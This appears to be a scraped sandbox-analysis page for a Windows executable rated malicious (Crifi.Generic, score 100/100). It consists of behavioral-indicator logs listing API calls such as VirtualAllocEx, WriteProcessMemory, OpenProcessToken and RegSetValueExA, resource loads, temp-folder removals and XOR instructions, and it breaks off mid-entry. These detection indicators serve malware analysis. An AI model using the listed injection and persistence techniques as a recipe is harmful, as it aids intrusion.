24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 8e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Crifi.Generic Sample e2f3379b09a3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e2f3379b09a3…. Malware family: Crifi.Generic. Threat score 100/100. 15/24 AV engines flagged this file. 23 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9","keywords":["Malicious","Crifi.Generic","malware analysis","sandbox report","threat intelligence","e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Crifi.Generic","antivirusDetections":{"malicious":15,"total":24},"behavioralIndicators":{"malicious":23,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T780,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078008" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078016" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078044" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078256" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078072" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078228" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078240" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "8387112" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078124" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078220" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "8387108" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078088" - (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "FindResourceA" with parameter "15078096" - (UID: 00000000-00004880)26:Tcd2,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124608'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124464'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124624'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124512'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124480'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124528'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124576'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124448'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124560'}" (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15124592'}" (UID: 00000000-00004880) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716736'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716592'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716752'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716640'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716608'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716656'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716704'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716576'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716688'}" (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11716720'}" (UID: 00000000-00004156) "cp7GF84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18401408'}" (UID: 00000000-00004976) "cp7GF84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18401264'}" (UID: 00000000-00004976) "cp7GF84.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18401424'}" (UID: 00000000-00004976)27:T668,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00004880) "hA8Nu84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00004156) "hA8Nu84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00004156) "cp7GF84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00004976) "cp7GF84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00004976) "cp7GF84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00004976) "tb8sC54.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007348) "tb8sC54.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007348) "tb8sC54.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007348) "tb8sC54.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007348) "AY1yn84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005260) "AY1yn84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00005260) "AY1yn84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00005260) "AY1yn84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00005260) "AY1yn84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00005260) "AY1yn84.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP\ (UID: 00000000-00005260)28:Te22,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")29:T58c,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")2a:T58c,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")2b:T911,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")2c:Td8c,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")2d:T131e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-15-00E61F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-15-00E61F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-16-00E644B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-16-00E644B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-22-00E6681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-22-00E6681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-26-00E624E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-26-00E624E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-29-00E652B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-29-00E652B6 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004880-50723-31-00E62390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004880-50723-31-00E62390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-33-00E62F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-33-00E62F1D Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004880-50723-36-00E63BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004880-50723-36-00E63BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-37-00E63FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-37-00E63FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-40-00E62267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-40-00E62267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-41-00E66495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-41-00E66495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-42-00E6202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00004880-50723-42-00E6202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-42-00E6202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-43-00E61AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-43-00E61AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-44-00E62AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-44-00E62AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-52-00E64EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-52-00E64EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-57-00E66298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-57-00E66298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-59-00E6621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-59-00E6621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-60-00E6597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-60-00E6597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-62-00E655A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-62-00E655A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-63-00E65467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-63-00E65467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-65-00E653A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-65-00E653A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-66-00E62630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-66-00E62630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-71-00E62CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-71-00E62CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-72-00E618A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-72-00E618A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004880-50723-73-00E617EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004880-50723-73-00E617EE2e:T556,Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "sendmessage"; File: "tb8sC54.exe") file/memory contains long string with (Indicator: "sendmessage"; File: "AY1yn84.exe") file/memory contains long string with (Indicator: "sendmessage"; File: "6oy9bB3.exe") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")2f:T281a,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004880) "hA8Nu84.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004156) "hA8Nu84.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004156) "hA8Nu84.exe" called "RtlGetVersion" with parameter 